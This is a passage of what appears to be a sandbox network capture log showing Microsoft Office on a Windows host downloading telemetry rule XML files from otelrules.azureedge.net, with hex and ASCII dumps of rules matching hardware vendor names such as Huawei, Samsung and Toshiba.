2024-10-28 18:12:22 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49779	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:22 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:22 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: e2670bef-801e-008f-375d-232c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181222Z-17fbfdc98bblfj7gw4f18guu2800000006u000000000btua x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:22 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49784	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:23 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:23 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 546431bf-201e-0085-0b72-2734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181223Z-17fbfdc98bbds27mnhu6ftg4d800000003v0000000002yt7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49783	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:23 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:23 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:23 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 789f6287-101e-0065-355f-284088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181223Z-17fbfdc98bb2rxf2hfvcfz540000000003bg000000005hhg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:23 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49786	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:23 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:23 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 1089ebf2-001e-0028-530d-27c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181223Z-r1755647c666s72wx0z5rz6s6000000006fg000000004d1s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 18:12:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49785	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:23 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:23 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:23 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 08308beb-701e-001e-43b0-26f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181223Z-17fbfdc98bbtwz55a8v24wfkdw00000006kg0000000057e4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 18:12:23 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49787	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:23 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:23 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:23 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: ae9ca414-101e-008d-470d-2692e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181223Z-17fbfdc98bbvvplhck7mbap4bw00000006zg00000000cuk2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 18:12:23 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49788	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:24 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:24 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:24 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 8e3eac93-d01e-0017-759c-27b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181224Z-17fbfdc98bb2cvg4m0cmab3ecw000000043000000000a63c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:24 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49789	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:24 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: d63b5638-a01e-0021-2ab4-27814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181224Z-17fbfdc98bbvvplhck7mbap4bw0000000750000000000dvm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49791	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:24 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:24 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:24 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 01fc617d-601e-000d-05a4-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181224Z-r1755647c66w6f6b5182nn0u0400000003v000000000aceu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:24 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49792	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:24 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:24 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5e4053db-f01e-0052-6472-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181224Z-r1755647c66w6f6b5182nn0u0400000003sg00000000h1qa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:24 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49790	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:24 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:24 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:24 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: b953619b-001e-0017-7a89-280c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181224Z-r1755647c66hxv26qums8q8fsw00000003g0000000009g0c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 18:12:24 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49793	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:25 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
